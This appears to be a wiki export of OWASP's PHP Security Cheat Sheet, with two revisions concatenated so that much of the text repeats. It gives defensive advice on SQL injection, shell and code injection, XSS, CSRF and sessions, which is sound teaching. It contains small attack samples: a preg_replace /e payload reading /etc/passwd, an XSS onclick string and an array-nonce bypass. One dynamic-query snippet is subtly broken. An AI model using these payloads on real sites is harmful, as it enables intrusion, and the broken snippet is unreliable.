$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-01-06T16:14:38Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language and 72% of web
servers deploy PHP. PHP is open source.

PHP is unusual in that it is both a language and a web framework, in that it
comes with the typical features of a web framework built-in. Like all web
languages, there is also a large community of libraries etc., which also
contribute to the security (or otherwise) of programming in PHP. All 3 aspects
need to be taken into consideration when trying to secure a PHP site.

There are, unfortunately, serious issues in all areas that make it difficult to
write secure PHP applications. These are difficult to work around if you are
forced to use PHP, but you need to be aware of them.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an
incorrect type into the expected type. This feature very often masks errors by
the developer or injections of unexpected data, leading to vulnerabilities (see
below under "Input handling" for an example).

Try to use functions and operators that do not do implicit type conversions
(e.g. === and not ==). Not all operators have strict versions, and many built-in
functions (like 'in_array') use weakly typed comparison functions, making it
difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but
instead report errors in other ways (such as via notices) that allow the faulty
code to carry on running. This has the effect of masking many bugs. In other
languages, error conditions that are caused by developer errors will cause the
program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]
function, and never attempt to suppress error messages - always follow the
warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many
configuration settings, including fundamental changes to things like how errors
are handled. This can make it very difficult to write code that works correctly
in all circumstances. Different libraries can have different expectations or
requirements about these settings, making it difficult to correctly use 3rd
party code. Some are mentioned below under 'Configuration'.

====Unhelpful builtins====

PHP comes with many builtin functions like 'addslashes', 'mysql_escape_string' and
'mysql_real_escape_string' which appear to provide security, but are often buggy and,
in fact, are unhelpful ways to deal with security problems.

Some of these builtins are being deprecated and removed, but due to backwards compatibility
policies this takes a long time.

===Framework issues===

====URL routing====

PHP's built-in URL routing mechanism is to use files ending in ".php" in the
directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.

* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with $supplied_nonce being an array. strcmp() will then return
NULL (instead of throwing an exception, which would be much more useful), and then
due to weak typing and the '==' operator instead of '===', the
comparison succeeds (since "NULL == 0" is true according to PHP), and the
attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

